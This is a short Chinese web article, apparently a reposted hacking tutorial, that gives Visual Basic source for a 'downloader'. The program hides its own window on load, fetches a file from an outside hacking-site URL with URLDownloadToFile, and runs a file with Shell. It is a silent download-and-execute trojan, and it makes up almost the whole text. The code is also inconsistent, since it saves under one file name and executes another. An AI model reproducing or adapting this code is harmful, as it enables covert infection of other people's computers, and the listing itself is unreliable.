用VB写下载者最短代码

来源：Chinaitlab收集整理 作者：佚名 出处：巧巧读书 2006-09-02 进入讨论组

• 关 键 词：
• chinanet

    Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

Private Sub Form_Load()

Me.VISIBLE = false
DownloadFile "http://www.chinanethack.com/SFDO/FHQ40.RAR", App.Path & "\FHQ30A.RAR"
End Sub

Public Function DownloadFile(URL As String, LocalFilename As String) As Boolean
Dim lngRetVal As Long
lngRetVal = URLDownloadToFile(0, URL, LocalFilename, 0, 0)
If lngRetVal = 0 Then
DownloadFile = True
Shell App.Path & "\FHQ40.RAR"
End If
End Function

通告:http://www.qqread.com/vb/d206551.html进入讨论组讨论。

【收藏此文】【大 中 小】【打印】【关闭】

较早的文章：如何用Visual Basic编写病毒

较新的文章：VB+Access设计图书管理系统